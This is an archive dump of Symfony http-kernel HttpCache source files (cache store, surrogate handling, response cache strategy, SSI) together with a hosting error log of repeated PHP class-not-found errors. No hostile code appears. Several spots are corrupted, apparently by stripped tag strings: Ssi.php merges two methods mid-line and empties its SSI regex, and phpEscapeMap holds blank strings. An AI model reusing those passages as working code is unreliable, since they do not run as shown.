http-kernel/HttpCache/Store.php000064400000034561151113511650012461 0ustar00 * * This code is partially based on the Rack-Cache library by Ryan Tomayko, * which is released under the MIT license. * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\HttpCache; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; /** * Store implements all the logic for storing cache metadata (Request and Response headers). * * @author Fabien Potencier */ class Store implements StoreInterface { protected $root; /** @var \SplObjectStorage */ private \SplObjectStorage $keyCache; /** @var array */ private array $locks = []; private array $options; /** * Constructor. * * The available options are: * * * private_headers Set of response headers that should not be stored * when a response is cached. (default: Set-Cookie) * * @throws \RuntimeException */ public function __construct(string $root, array $options = []) { $this->root = $root; if (!is_dir($this->root) && !@mkdir($this->root, 0777, true) && !is_dir($this->root)) { throw new \RuntimeException(sprintf('Unable to create the store directory (%s).', $this->root)); } $this->keyCache = new \SplObjectStorage(); $this->options = array_merge([ 'private_headers' => ['Set-Cookie'], ], $options); } /** * Cleanups storage. * * @return void */ public function cleanup() { // unlock everything foreach ($this->locks as $lock) { flock($lock, \LOCK_UN); fclose($lock); } $this->locks = []; } /** * Tries to lock the cache for a given Request, without blocking. * * @return bool|string true if the lock is acquired, the path to the current lock otherwise */ public function lock(Request $request): bool|string { $key = $this->getCacheKey($request); if (!isset($this->locks[$key])) { $path = $this->getPath($key); if (!is_dir(\dirname($path)) && false === @mkdir(\dirname($path), 0777, true) && !is_dir(\dirname($path))) { return $path; } $h = fopen($path, 'c'); if (!flock($h, \LOCK_EX | \LOCK_NB)) { fclose($h); return $path; } $this->locks[$key] = $h; } return true; } /** * Releases the lock for the given Request. * * @return bool False if the lock file does not exist or cannot be unlocked, true otherwise */ public function unlock(Request $request): bool { $key = $this->getCacheKey($request); if (isset($this->locks[$key])) { flock($this->locks[$key], \LOCK_UN); fclose($this->locks[$key]); unset($this->locks[$key]); return true; } return false; } public function isLocked(Request $request): bool { $key = $this->getCacheKey($request); if (isset($this->locks[$key])) { return true; // shortcut if lock held by this process } if (!is_file($path = $this->getPath($key))) { return false; } $h = fopen($path, 'r'); flock($h, \LOCK_EX | \LOCK_NB, $wouldBlock); flock($h, \LOCK_UN); // release the lock we just acquired fclose($h); return (bool) $wouldBlock; } /** * Locates a cached Response for the Request provided. */ public function lookup(Request $request): ?Response { $key = $this->getCacheKey($request); if (!$entries = $this->getMetadata($key)) { return null; } // find a cached entry that matches the request. $match = null; foreach ($entries as $entry) { if ($this->requestsMatch(isset($entry[1]['vary'][0]) ? implode(', ', $entry[1]['vary']) : '', $request->headers->all(), $entry[0])) { $match = $entry; break; } } if (null === $match) { return null; } $headers = $match[1]; if (file_exists($path = $this->getPath($headers['x-content-digest'][0]))) { return $this->restoreResponse($headers, $path); } // TODO the metaStore referenced an entity that doesn't exist in // the entityStore. We definitely want to return nil but we should // also purge the entry from the meta-store when this is detected. return null; } /** * Writes a cache entry to the store for the given Request and Response. * * Existing entries are read and any that match the response are removed. This * method calls write with the new list of cache entries. * * @throws \RuntimeException */ public function write(Request $request, Response $response): string { $key = $this->getCacheKey($request); $storedEnv = $this->persistRequest($request); if ($response->headers->has('X-Body-File')) { // Assume the response came from disk, but at least perform some safeguard checks if (!$response->headers->has('X-Content-Digest')) { throw new \RuntimeException('A restored response must have the X-Content-Digest header.'); } $digest = $response->headers->get('X-Content-Digest'); if ($this->getPath($digest) !== $response->headers->get('X-Body-File')) { throw new \RuntimeException('X-Body-File and X-Content-Digest do not match.'); } // Everything seems ok, omit writing content to disk } else { $digest = $this->generateContentDigest($response); $response->headers->set('X-Content-Digest', $digest); if (!$this->save($digest, $response->getContent(), false)) { throw new \RuntimeException('Unable to store the entity.'); } if (!$response->headers->has('Transfer-Encoding')) { $response->headers->set('Content-Length', \strlen($response->getContent())); } } // read existing cache entries, remove non-varying, and add this one to the list $entries = []; $vary = $response->headers->get('vary'); foreach ($this->getMetadata($key) as $entry) { if (!isset($entry[1]['vary'][0])) { $entry[1]['vary'] = ['']; } if ($entry[1]['vary'][0] != $vary || !$this->requestsMatch($vary ?? '', $entry[0], $storedEnv)) { $entries[] = $entry; } } $headers = $this->persistResponse($response); unset($headers['age']); foreach ($this->options['private_headers'] as $h) { unset($headers[strtolower($h)]); } array_unshift($entries, [$storedEnv, $headers]); if (!$this->save($key, serialize($entries))) { throw new \RuntimeException('Unable to store the metadata.'); } return $key; } /** * Returns content digest for $response. */ protected function generateContentDigest(Response $response): string { return 'en'.hash('xxh128', $response->getContent()); } /** * Invalidates all cache entries that match the request. * * @return void * * @throws \RuntimeException */ public function invalidate(Request $request) { $modified = false; $key = $this->getCacheKey($request); $entries = []; foreach ($this->getMetadata($key) as $entry) { $response = $this->restoreResponse($entry[1]); if ($response->isFresh()) { $response->expire(); $modified = true; $entries[] = [$entry[0], $this->persistResponse($response)]; } else { $entries[] = $entry; } } if ($modified && !$this->save($key, serialize($entries))) { throw new \RuntimeException('Unable to store the metadata.'); } } /** * Determines whether two Request HTTP header sets are non-varying based on * the vary response header value provided. * * @param string|null $vary A Response vary header * @param array $env1 A Request HTTP header array * @param array $env2 A Request HTTP header array */ private function requestsMatch(?string $vary, array $env1, array $env2): bool { if (empty($vary)) { return true; } foreach (preg_split('/[\s,]+/', $vary) as $header) { $key = str_replace('_', '-', strtolower($header)); $v1 = $env1[$key] ?? null; $v2 = $env2[$key] ?? null; if ($v1 !== $v2) { return false; } } return true; } /** * Gets all data associated with the given key. * * Use this method only if you know what you are doing. */ private function getMetadata(string $key): array { if (!$entries = $this->load($key)) { return []; } return unserialize($entries) ?: []; } /** * Purges data for the given URL. * * This method purges both the HTTP and the HTTPS version of the cache entry. * * @return bool true if the URL exists with either HTTP or HTTPS scheme and has been purged, false otherwise */ public function purge(string $url): bool { $http = preg_replace('#^https:#', 'http:', $url); $https = preg_replace('#^http:#', 'https:', $url); $purgedHttp = $this->doPurge($http); $purgedHttps = $this->doPurge($https); return $purgedHttp || $purgedHttps; } /** * Purges data for the given URL. */ private function doPurge(string $url): bool { $key = $this->getCacheKey(Request::create($url)); if (isset($this->locks[$key])) { flock($this->locks[$key], \LOCK_UN); fclose($this->locks[$key]); unset($this->locks[$key]); } if (is_file($path = $this->getPath($key))) { unlink($path); return true; } return false; } /** * Loads data for the given key. */ private function load(string $key): ?string { $path = $this->getPath($key); return is_file($path) && false !== ($contents = @file_get_contents($path)) ? $contents : null; } /** * Save data for the given key. */ private function save(string $key, string $data, bool $overwrite = true): bool { $path = $this->getPath($key); if (!$overwrite && file_exists($path)) { return true; } if (isset($this->locks[$key])) { $fp = $this->locks[$key]; @ftruncate($fp, 0); @fseek($fp, 0); $len = @fwrite($fp, $data); if (\strlen($data) !== $len) { @ftruncate($fp, 0); return false; } } else { if (!is_dir(\dirname($path)) && false === @mkdir(\dirname($path), 0777, true) && !is_dir(\dirname($path))) { return false; } $tmpFile = tempnam(\dirname($path), basename($path)); if (false === $fp = @fopen($tmpFile, 'w')) { @unlink($tmpFile); return false; } @fwrite($fp, $data); @fclose($fp); if ($data != file_get_contents($tmpFile)) { @unlink($tmpFile); return false; } if (false === @rename($tmpFile, $path)) { @unlink($tmpFile); return false; } } @chmod($path, 0666 & ~umask()); return true; } /** * @return string */ public function getPath(string $key) { return $this->root.\DIRECTORY_SEPARATOR.substr($key, 0, 2).\DIRECTORY_SEPARATOR.substr($key, 2, 2).\DIRECTORY_SEPARATOR.substr($key, 4, 2).\DIRECTORY_SEPARATOR.substr($key, 6); } /** * Generates a cache key for the given Request. * * This method should return a key that must only depend on a * normalized version of the request URI. * * If the same URI can have more than one representation, based on some * headers, use a Vary header to indicate them, and each representation will * be stored independently under the same cache key. */ protected function generateCacheKey(Request $request): string { return 'md'.hash('sha256', $request->getUri()); } /** * Returns a cache key for the given Request. */ private function getCacheKey(Request $request): string { if (isset($this->keyCache[$request])) { return $this->keyCache[$request]; } return $this->keyCache[$request] = $this->generateCacheKey($request); } /** * Persists the Request HTTP headers. */ private function persistRequest(Request $request): array { return $request->headers->all(); } /** * Persists the Response HTTP headers. */ private function persistResponse(Response $response): array { $headers = $response->headers->all(); $headers['X-Status'] = [$response->getStatusCode()]; return $headers; } /** * Restores a Response from the HTTP headers and body. */ private function restoreResponse(array $headers, string $path = null): ?Response { $status = $headers['X-Status'][0]; unset($headers['X-Status']); $content = null; if (null !== $path) { $headers['X-Body-File'] = [$path]; unset($headers['x-body-file']); if ($headers['X-Body-Eval'] ?? $headers['x-body-eval'] ?? false) { $content = file_get_contents($path); \assert(HttpCache::BODY_EVAL_BOUNDARY_LENGTH === 24); if (48 > \strlen($content) || substr($content, -24) !== substr($content, 0, 24)) { return null; } } } return new Response($content, $status, $headers); } } http-kernel/HttpCache/SurrogateInterface.php000064400000004155151113511650015155 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\HttpCache; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; interface SurrogateInterface { /** * Returns surrogate name. */ public function getName(): string; /** * Returns a new cache strategy instance. */ public function createCacheStrategy(): ResponseCacheStrategyInterface; /** * Checks that at least one surrogate has Surrogate capability. */ public function hasSurrogateCapability(Request $request): bool; /** * Adds Surrogate-capability to the given Request. * * @return void */ public function addSurrogateCapability(Request $request); /** * Adds HTTP headers to specify that the Response needs to be parsed for Surrogate. * * This method only adds an Surrogate HTTP header if the Response has some Surrogate tags. * * @return void */ public function addSurrogateControl(Response $response); /** * Checks that the Response needs to be parsed for Surrogate tags. */ public function needsParsing(Response $response): bool; /** * Renders a Surrogate tag. * * @param string|null $alt An alternate URI * @param string $comment A comment to add as an esi:include tag */ public function renderIncludeTag(string $uri, string $alt = null, bool $ignoreErrors = true, string $comment = ''): string; /** * Replaces a Response Surrogate tags with the included resource content. */ public function process(Request $request, Response $response): Response; /** * Handles a Surrogate from the cache. * * @param string $alt An alternative URI * * @throws \RuntimeException * @throws \Exception */ public function handle(HttpCache $cache, string $uri, string $alt, bool $ignoreErrors): string; } http-kernel/HttpCache/ResponseCacheStrategy.php000064400000022072151113511650015624 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\HttpCache; use Symfony\Component\HttpFoundation\Response; /** * ResponseCacheStrategy knows how to compute the Response cache HTTP header * based on the different response cache headers. * * This implementation changes the main response TTL to the smallest TTL received * or force validation if one of the surrogates has validation cache strategy. * * @author Fabien Potencier */ class ResponseCacheStrategy implements ResponseCacheStrategyInterface { /** * Cache-Control headers that are sent to the final response if they appear in ANY of the responses. */ private const OVERRIDE_DIRECTIVES = ['private', 'no-cache', 'no-store', 'no-transform', 'must-revalidate', 'proxy-revalidate']; /** * Cache-Control headers that are sent to the final response if they appear in ALL of the responses. */ private const INHERIT_DIRECTIVES = ['public', 'immutable']; private int $embeddedResponses = 0; private bool $isNotCacheableResponseEmbedded = false; private int $age = 0; private \DateTimeInterface|null|false $lastModified = null; private array $flagDirectives = [ 'no-cache' => null, 'no-store' => null, 'no-transform' => null, 'must-revalidate' => null, 'proxy-revalidate' => null, 'public' => null, 'private' => null, 'immutable' => null, ]; private array $ageDirectives = [ 'max-age' => null, 's-maxage' => null, 'expires' => null, ]; /** * @return void */ public function add(Response $response) { ++$this->embeddedResponses; foreach (self::OVERRIDE_DIRECTIVES as $directive) { if ($response->headers->hasCacheControlDirective($directive)) { $this->flagDirectives[$directive] = true; } } foreach (self::INHERIT_DIRECTIVES as $directive) { if (false !== $this->flagDirectives[$directive]) { $this->flagDirectives[$directive] = $response->headers->hasCacheControlDirective($directive); } } $age = $response->getAge(); $this->age = max($this->age, $age); if ($this->willMakeFinalResponseUncacheable($response)) { $this->isNotCacheableResponseEmbedded = true; return; } $isHeuristicallyCacheable = $response->headers->hasCacheControlDirective('public'); $maxAge = $response->headers->hasCacheControlDirective('max-age') ? (int) $response->headers->getCacheControlDirective('max-age') : null; $this->storeRelativeAgeDirective('max-age', $maxAge, $age, $isHeuristicallyCacheable); $sharedMaxAge = $response->headers->hasCacheControlDirective('s-maxage') ? (int) $response->headers->getCacheControlDirective('s-maxage') : $maxAge; $this->storeRelativeAgeDirective('s-maxage', $sharedMaxAge, $age, $isHeuristicallyCacheable); $expires = $response->getExpires(); $expires = null !== $expires ? (int) $expires->format('U') - (int) $response->getDate()->format('U') : null; $this->storeRelativeAgeDirective('expires', $expires >= 0 ? $expires : null, 0, $isHeuristicallyCacheable); if (false !== $this->lastModified) { $lastModified = $response->getLastModified(); $this->lastModified = $lastModified ? max($this->lastModified, $lastModified) : false; } } /** * @return void */ public function update(Response $response) { // if we have no embedded Response, do nothing if (0 === $this->embeddedResponses) { return; } // Remove Etag since it cannot be merged from embedded responses. $response->setEtag(null); $this->add($response); $response->headers->set('Age', $this->age); if ($this->isNotCacheableResponseEmbedded) { $response->setLastModified(null); if ($this->flagDirectives['no-store']) { $response->headers->set('Cache-Control', 'no-cache, no-store, must-revalidate'); } else { $response->headers->set('Cache-Control', 'no-cache, must-revalidate'); } return; } $response->setLastModified($this->lastModified ?: null); $flags = array_filter($this->flagDirectives); if (isset($flags['must-revalidate'])) { $flags['no-cache'] = true; } $response->headers->set('Cache-Control', implode(', ', array_keys($flags))); $maxAge = null; if (is_numeric($this->ageDirectives['max-age'])) { $maxAge = $this->ageDirectives['max-age'] + $this->age; $response->headers->addCacheControlDirective('max-age', $maxAge); } if (is_numeric($this->ageDirectives['s-maxage'])) { $sMaxage = $this->ageDirectives['s-maxage'] + $this->age; if ($maxAge !== $sMaxage) { $response->headers->addCacheControlDirective('s-maxage', $sMaxage); } } if (is_numeric($this->ageDirectives['expires'])) { $date = clone $response->getDate(); $date = $date->modify('+'.($this->ageDirectives['expires'] + $this->age).' seconds'); $response->setExpires($date); } } /** * RFC2616, Section 13.4. * * @see https://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html#sec13.4 */ private function willMakeFinalResponseUncacheable(Response $response): bool { // RFC2616: A response received with a status code of 200, 203, 300, 301 or 410 // MAY be stored by a cache […] unless a cache-control directive prohibits caching. if ($response->headers->hasCacheControlDirective('no-cache') || $response->headers->hasCacheControlDirective('no-store') ) { return true; } // Etag headers cannot be merged, they render the response uncacheable // by default (except if the response also has max-age etc.). if (null === $response->getEtag() && \in_array($response->getStatusCode(), [200, 203, 300, 301, 410])) { return false; } // RFC2616: A response received with any other status code (e.g. status codes 302 and 307) // MUST NOT be returned in a reply to a subsequent request unless there are // cache-control directives or another header(s) that explicitly allow it. $cacheControl = ['max-age', 's-maxage', 'must-revalidate', 'proxy-revalidate', 'public', 'private']; foreach ($cacheControl as $key) { if ($response->headers->hasCacheControlDirective($key)) { return false; } } if ($response->headers->has('Expires')) { return false; } return true; } /** * Store lowest max-age/s-maxage/expires for the final response. * * The response might have been stored in cache a while ago. To keep things comparable, * we have to subtract the age so that the value is normalized for an age of 0. * * If the value is lower than the currently stored value, we update the value, to keep a rolling * minimal value of each instruction. * * If the value is NULL and the isHeuristicallyCacheable parameter is false, the directive will * not be set on the final response. In this case, not all responses had the directive set and no * value can be found that satisfies the requirements of all responses. The directive will be dropped * from the final response. * * If the isHeuristicallyCacheable parameter is true, however, the current response has been marked * as cacheable in a public (shared) cache, but did not provide an explicit lifetime that would serve * as an upper bound. In this case, we can proceed and possibly keep the directive on the final response. */ private function storeRelativeAgeDirective(string $directive, ?int $value, int $age, bool $isHeuristicallyCacheable): void { if (null === $value) { if ($isHeuristicallyCacheable) { /* * See https://datatracker.ietf.org/doc/html/rfc7234#section-4.2.2 * This particular response does not require maximum lifetime; heuristics might be applied. * Other responses, however, might have more stringent requirements on maximum lifetime. * So, return early here so that the final response can have the more limiting value set. */ return; } $this->ageDirectives[$directive] = false; } if (false !== $this->ageDirectives[$directive]) { $value -= $age; $this->ageDirectives[$directive] = null !== $this->ageDirectives[$directive] ? min($this->ageDirectives[$directive], $value) : $value; } } } http-kernel/HttpCache/error_log000064400000021054151113511650012562 0ustar00[19-Nov-2025 15:58:05 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\HttpCache\SurrogateInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/AbstractSurrogate.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/AbstractSurrogate.php on line 24 [19-Nov-2025 16:01:53 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\HttpCache\ResponseCacheStrategyInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/ResponseCacheStrategy.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/ResponseCacheStrategy.php on line 25 [19-Nov-2025 16:08:42 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\HttpCache\AbstractSurrogate" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/Ssi.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/Ssi.php on line 22 [19-Nov-2025 16:09:38 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\HttpCache\AbstractSurrogate" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/Esi.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/Esi.php on line 28 [19-Nov-2025 16:17:23 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\HttpCache\StoreInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/Store.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/Store.php on line 25 [19-Nov-2025 17:57:23 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\HttpKernelInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/HttpCache.php:30 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/HttpCache.php on line 30 [19-Nov-2025 20:35:50 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\HttpCache\SurrogateInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/AbstractSurrogate.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/AbstractSurrogate.php on line 24 [19-Nov-2025 20:50:32 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\HttpCache\ResponseCacheStrategyInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/ResponseCacheStrategy.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/ResponseCacheStrategy.php on line 25 [19-Nov-2025 21:10:01 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\HttpCache\AbstractSurrogate" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/Esi.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/Esi.php on line 28 [19-Nov-2025 21:10:16 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\HttpCache\AbstractSurrogate" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/Ssi.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/Ssi.php on line 22 [19-Nov-2025 21:14:34 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\HttpCache\StoreInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/Store.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/Store.php on line 25 [20-Nov-2025 00:46:05 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\HttpKernelInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/HttpCache.php:30 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/HttpCache.php on line 30 [25-Nov-2025 02:33:34 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\HttpCache\StoreInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/Store.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/Store.php on line 25 [25-Nov-2025 02:35:27 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\HttpCache\AbstractSurrogate" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/Esi.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/Esi.php on line 28 [25-Nov-2025 02:56:02 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\HttpKernelInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/HttpCache.php:30 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/HttpCache.php on line 30 [25-Nov-2025 02:57:29 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\HttpCache\AbstractSurrogate" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/Ssi.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/Ssi.php on line 22 [25-Nov-2025 03:02:07 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\HttpCache\ResponseCacheStrategyInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/ResponseCacheStrategy.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/ResponseCacheStrategy.php on line 25 [25-Nov-2025 05:27:42 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\HttpCache\SurrogateInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/AbstractSurrogate.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/AbstractSurrogate.php on line 24 [25-Nov-2025 23:08:55 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\HttpCache\AbstractSurrogate" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/Esi.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/Esi.php on line 28 [26-Nov-2025 01:20:26 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\HttpCache\StoreInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/Store.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/Store.php on line 25 [26-Nov-2025 01:54:27 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\HttpCache\ResponseCacheStrategyInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/ResponseCacheStrategy.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/ResponseCacheStrategy.php on line 25 [26-Nov-2025 01:55:10 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\HttpKernelInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/HttpCache.php:30 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/HttpCache.php on line 30 [26-Nov-2025 01:55:23 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\HttpCache\AbstractSurrogate" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/Ssi.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/Ssi.php on line 22 [26-Nov-2025 01:56:57 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\HttpCache\SurrogateInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/AbstractSurrogate.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpCache/AbstractSurrogate.php on line 24 http-kernel/HttpCache/AbstractSurrogate.php000064400000011221151113511650015010 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\HttpCache; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpKernel\HttpKernelInterface; /** * Abstract class implementing Surrogate capabilities to Request and Response instances. * * @author Fabien Potencier * @author Robin Chalas */ abstract class AbstractSurrogate implements SurrogateInterface { protected $contentTypes; /** * @deprecated since Symfony 6.3 */ protected $phpEscapeMap = [ ['', '', '', ''], ]; /** * @param array $contentTypes An array of content-type that should be parsed for Surrogate information * (default: text/html, text/xml, application/xhtml+xml, and application/xml) */ public function __construct(array $contentTypes = ['text/html', 'text/xml', 'application/xhtml+xml', 'application/xml']) { $this->contentTypes = $contentTypes; } /** * Returns a new cache strategy instance. */ public function createCacheStrategy(): ResponseCacheStrategyInterface { return new ResponseCacheStrategy(); } public function hasSurrogateCapability(Request $request): bool { if (null === $value = $request->headers->get('Surrogate-Capability')) { return false; } return str_contains($value, sprintf('%s/1.0', strtoupper($this->getName()))); } /** * @return void */ public function addSurrogateCapability(Request $request) { $current = $request->headers->get('Surrogate-Capability'); $new = sprintf('symfony="%s/1.0"', strtoupper($this->getName())); $request->headers->set('Surrogate-Capability', $current ? $current.', '.$new : $new); } public function needsParsing(Response $response): bool { if (!$control = $response->headers->get('Surrogate-Control')) { return false; } $pattern = sprintf('#content="[^"]*%s/1.0[^"]*"#', strtoupper($this->getName())); return (bool) preg_match($pattern, $control); } public function handle(HttpCache $cache, string $uri, string $alt, bool $ignoreErrors): string { $subRequest = Request::create($uri, Request::METHOD_GET, [], $cache->getRequest()->cookies->all(), [], $cache->getRequest()->server->all()); try { $response = $cache->handle($subRequest, HttpKernelInterface::SUB_REQUEST, true); if (!$response->isSuccessful() && Response::HTTP_NOT_MODIFIED !== $response->getStatusCode()) { throw new \RuntimeException(sprintf('Error when rendering "%s" (Status code is %d).', $subRequest->getUri(), $response->getStatusCode())); } return $response->getContent(); } catch (\Exception $e) { if ($alt) { return $this->handle($cache, $alt, '', $ignoreErrors); } if (!$ignoreErrors) { throw $e; } } return ''; } /** * Remove the Surrogate from the Surrogate-Control header. * * @return void */ protected function removeFromControl(Response $response) { if (!$response->headers->has('Surrogate-Control')) { return; } $value = $response->headers->get('Surrogate-Control'); $upperName = strtoupper($this->getName()); if (sprintf('content="%s/1.0"', $upperName) == $value) { $response->headers->remove('Surrogate-Control'); } elseif (preg_match(sprintf('#,\s*content="%s/1.0"#', $upperName), $value)) { $response->headers->set('Surrogate-Control', preg_replace(sprintf('#,\s*content="%s/1.0"#', $upperName), '', $value)); } elseif (preg_match(sprintf('#content="%s/1.0",\s*#', $upperName), $value)) { $response->headers->set('Surrogate-Control', preg_replace(sprintf('#content="%s/1.0",\s*#', $upperName), '', $value)); } } protected static function generateBodyEvalBoundary(): string { static $cookie; $cookie = hash('xxh128', $cookie ?? $cookie = random_bytes(16), true); $boundary = base64_encode($cookie); \assert(HttpCache::BODY_EVAL_BOUNDARY_LENGTH === \strlen($boundary)); return $boundary; } } http-kernel/HttpCache/Ssi.php000064400000005034151113511650012114 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\HttpCache; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; /** * Ssi implements the SSI capabilities to Request and Response instances. * * @author Sebastian Krebs */ class Ssi extends AbstractSurrogate { public function getName(): string { return 'ssi'; } /** * @return void */ public function addSurrogateControl(Response $response) { if (str_contains($response->getContent(), '', $uri); } public function process(Request $request, Response $response): Response { $type = $response->headers->get('Content-Type'); if (empty($type)) { $type = 'text/html'; } $parts = explode(';', $type); if (!\in_array($parts[0], $this->contentTypes)) { return $response; } // we don't use a proper XML parser here as we can have SSI tags in a plain text response $content = $response->getContent(); $boundary = self::generateBodyEvalBoundary(); $chunks = preg_split('##', $content, -1, \PREG_SPLIT_DELIM_CAPTURE); $i = 1; while (isset($chunks[$i])) { $options = []; preg_match_all('/(virtual)="([^"]*?)"/', $chunks[$i], $matches, \PREG_SET_ORDER); foreach ($matches as $set) { $options[$set[1]] = $set[2]; } if (!isset($options['virtual'])) { throw new \RuntimeException('Unable to process an SSI tag without a "virtual" attribute.'); } $chunks[$i] = $boundary.$options['virtual']."\n\n\n"; $i += 2; } $content = $boundary.implode('', $chunks).$boundary; $response->setContent($content); $response->headers->set('X-Body-Eval', 'SSI'); // remove SSI/1.0 from the Surrogate-Control header $this->removeFromControl($response); return $response; } } http-kernel/HttpCache/StoreInterface.php000064400000004264151113511660014300 0ustar00 * * This code is partially based on the Rack-Cache library by Ryan Tomayko, * which is released under the MIT license. * * For the full copyright and license information, please view the LICENSE * file that was distributed with this 